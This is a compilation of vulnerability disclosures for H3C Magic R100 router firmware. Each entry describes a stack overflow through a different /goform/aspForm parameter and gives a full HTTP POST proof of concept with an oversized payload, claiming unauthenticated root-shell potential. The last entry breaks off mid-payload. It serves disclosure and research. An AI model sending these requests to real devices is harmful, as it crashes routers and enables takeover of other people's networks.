H3C Magic R100 R100V100R005 was discovered to contain a stack overflow vulnerability via the Asp_SetTimingtimeWifiAndLed parameter at /goform/aspForm.

**H3C magic R100 R100V100R005.bin Stack overflow vulnerability****Overview**

*   Manufacturer's website information：https://www.h3c.com/
*   Firmware download address ： https://www.h3c.com/cn/d\_201801/1060028\_30005\_0.htm

**1\. Affected version**

Figure 1 shows the latest firmware Ba of the router

**Vulnerability details**

The content obtained by the program through param parameter is passed to V6, and then the matched content is formatted into the stack of V16 through sscanf function. There is no size check, so there is a stack overflow vulnerability.

**Recurring vulnerabilities and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Use the fat simulation firmware R100V100R005.bin
2.  Attack with the following POC attacks

    POST /goform/aspForm HTTP/1.1
    Host: 192.168.0.1
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:100.0) Gecko/20100101 Firefox/100.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Content-Type: application/x-www-form-urlencoded
    Origin: http://192.168.0.1
    Connection: close
    Upgrade-Insecure-Requests: 1
    Pragma: no-cache
    Cache-Control: no-cache
    
    Asp_SetTimingtimeWifiAndLed=aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaeaaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaeaaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaeaaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaae
    

Figure 2 POC attack effect

Finally, you can write exp, which can obtain a stable root shell without authorization

CVE-2022-30923: IOT_vuln/H3C/magicR100/16 at main · EPhaha/IOT_vuln

H3C Magic R100 R100V100R005 was discovered to contain a stack overflow vulnerability via the SetAPWifiorLedInfoById parameter at /goform/aspForm.

**H3C magic R100 R100V100R005.bin Stack overflow vulnerability****Overview**

*   Manufacturer's website information：https://www.h3c.com/
*   Firmware download address ： https://www.h3c.com/cn/d\_201801/1060028\_30005\_0.htm

**1\. Affected version**

Figure 1 shows the latest firmware Ba of the router

**Vulnerability details**

The content obtained by the program through the param parameter is passed to V5, and then the matched content is formatted into the V9 stack through the sscanf function. There is no size check, so there is a stack overflow vulnerability.

**Recurring vulnerabilities and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Use the fat simulation firmware R100V100R005.bin
2.  Attack with the following POC attacks

    POST /goform/aspForm HTTP/1.1
    Host: 192.168.0.1
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:100.0) Gecko/20100101 Firefox/100.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Content-Type: application/x-www-form-urlencoded
    Origin: http://192.168.0.1
    Connection: close
    Upgrade-Insecure-Requests: 1
    Pragma: no-cache
    Cache-Control: no-cache
    
    SetAPWifiorLedInfoById=aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaeaaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaeaaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaeaaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaae
    

Figure 2 POC attack effect

Finally, you can write exp, which can obtain a stable root shell without authorization

CVE-2022-30924: IOT_vuln/H3C/magicR100/15 at main · EPhaha/IOT_vuln

H3C Magic R100 R100V100R005 was discovered to contain a stack overflow vulnerability via the EditMacList parameter at /goform/aspForm.

**H3C magic R100 R100V100R005.bin Stack overflow vulnerability****Overview**

*   Manufacturer's website information：https://www.h3c.com/
*   Firmware download address ： https://www.h3c.com/cn/d\_201801/1060028\_30005\_0.htm

**1\. Affected version**

Figure 1 shows the latest firmware Ba of the router

**Vulnerability details**

The content obtained by the program through param parameter is passed to V10, and then the matched content is formatted into the stack of V11, V13, V14 and V12 through sscanf function. There is no size check, so there is a stack overflow vulnerability.

**Recurring vulnerabilities and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Use the fat simulation firmware R100V100R005.bin
2.  Attack with the following POC attacks

    POST /goform/aspForm HTTP/1.1
    Host: 192.168.0.1
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:100.0) Gecko/20100101 Firefox/100.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Content-Type: application/x-www-form-urlencoded
    Origin: http://192.168.0.1
    Connection: close
    Upgrade-Insecure-Requests: 1
    Pragma: no-cache
    Cache-Control: no-cache
    
    EditMacList=aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaeaaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaeaaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaeaaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaae
    

Figure 2 POC attack effect

Finally, you can write exp, which can obtain a stable root shell without authorization

CVE-2022-30926: IOT_vuln/H3C/magicR100/18 at main · EPhaha/IOT_vuln

H3C Magic R100 R100V100R005 was discovered to contain a stack overflow vulnerability via the AddMacList parameter at /goform/aspForm.

**H3C magic R100 R100V100R005.bin Stack overflow vulnerability****Overview**

*   Manufacturer's website information：https://www.h3c.com/
*   Firmware download address ： https://www.h3c.com/cn/d\_201801/1060028\_30005\_0.htm

**1\. Affected version**

Figure 1 shows the latest firmware Ba of the router

**Vulnerability details**

The content obtained by the program through param parameter is passed to V10, and then the matched content is formatted into the stack of V11, V13, V14 and V12 through sscanf function. There is no size check, so there is a stack overflow vulnerability.

**Recurring vulnerabilities and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Use the fat simulation firmware R100V100R005.bin
2.  Attack with the following POC attacks

    POST /goform/aspForm HTTP/1.1
    Host: 192.168.0.1
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:100.0) Gecko/20100101 Firefox/100.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Content-Type: application/x-www-form-urlencoded
    Origin: http://192.168.0.1
    Connection: close
    Upgrade-Insecure-Requests: 1
    Pragma: no-cache
    Cache-Control: no-cache
    
    AddMacList=aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaeaaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaeaaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaeaaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaae
    

Figure 2 POC attack effect

Finally, you can write exp, which can obtain a stable root shell without authorization

CVE-2022-30925: IOT_vuln/H3C/magicR100/17 at main · EPhaha/IOT_vuln

H3C Magic R100 R100V100R005 was discovered to contain a stack overflow vulnerability via the CMD parameter at /goform/aspForm.

**H3C magic R100 R100V100R005.bin Stack overflow vulnerability****Overview**

*   Manufacturer's website information：https://www.h3c.com/
*   Firmware download address ： https://www.h3c.com/cn/d\_201801/1060028\_30005\_0.htm

**1\. Affected version**

Figure 1 shows the latest firmware Ba of the router

**Vulnerability details**

The content obtained by the program through the CMD parameter is passed to V11, and then V11 is copied into byte through the strcpy function\_ In 4aaf00, there is no size check, and there is a buffer overflow vulnerability.

**Recurring vulnerabilities and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Use the fat simulation firmware R100V100R005.bin
2.  Attack with the following POC attacks

    POST /goform/aspForm HTTP/1.1
    Host: 192.168.0.1
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:100.0) Gecko/20100101 Firefox/100.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Content-Type: application/x-www-form-urlencoded
    Origin: http://192.168.0.1
    Connection: close
    Upgrade-Insecure-Requests: 1
    Pragma: no-cache
    Cache-Control: no-cache
    
    CMD=aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaeaaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaeaaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaeaaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaae
    

Figure 2 POC attack effect

Finally, you can write exp, which can obtain a stable root shell without authorization

CVE-2022-30909: IOT_vuln/H3C/magicR100/3 at main · EPhaha/IOT_vuln

H3C Magic R100 R100V100R005 was discovered to contain a stack overflow vulnerability via the GO parameter at /goform/aspForm.

**H3C magic R100 R100V100R005.bin Stack overflow vulnerability****Overview**

*   Manufacturer's website information：https://www.h3c.com/
*   Firmware download address ： https://www.h3c.com/cn/d\_201801/1060028\_30005\_0.htm

**1\. Affected version**

Figure 1 shows the latest firmware Ba of the router

**Vulnerability details**

The content obtained by the program through the go parameter is passed to V10, and then V10 is copied into DWORD\_ In 4aa078, the size of V10 is not checked, and there is a buffer overflow vulnerability.

**Recurring vulnerabilities and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Use the fat simulation firmware R100V100R005.bin
2.  Attack with the following POC attacks

    POST /goform/aspForm HTTP/1.1
    Host: 192.168.0.1
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:100.0) Gecko/20100101 Firefox/100.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Content-Type: application/x-www-form-urlencoded
    Origin: http://192.168.0.1
    Connection: close
    Upgrade-Insecure-Requests: 1
    Pragma: no-cache
    Cache-Control: no-cache
    
    GO=aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaeaaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaeaaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaeaaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaae
    

Figure 2 POC attack effect

Finally, you can write exp, which can obtain a stable root shell without authorization

CVE-2022-30910: IOT_vuln/H3C/magicR100/1 at main · EPhaha/IOT_vuln

H3C Magic R100 R100V100R005 was discovered to contain a stack overflow vulnerability via the UpdateWanParams parameter at /goform/aspForm.

**H3C magic R100 R100V100R005.bin Stack overflow vulnerability****Overview**

*   Manufacturer's website information：https://www.h3c.com/
*   Firmware download address ： https://www.h3c.com/cn/d\_201801/1060028\_30005\_0.htm

**1\. Affected version**

Figure 1 shows the latest firmware Ba of the router

**Vulnerability details**

After obtaining the content in the formatted program to canv24, pass it to the content in canv2m through the formatted program

The size of V24 is not checked, and there is a stack overflow vulnerability.

**Recurring vulnerabilities and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Use the fat simulation firmware R100V100R005.bin
2.  Attack with the following POC attacks

    POST /goform/aspForm HTTP/1.1
    Host: 192.168.0.1
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:100.0) Gecko/20100101 Firefox/100.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Content-Type: application/x-www-form-urlencoded
    Origin: http://192.168.0.1
    Connection: close
    Upgrade-Insecure-Requests: 1
    Pragma: no-cache
    Cache-Control: no-cache
    
    UpdateWanParams=aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaeaaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadka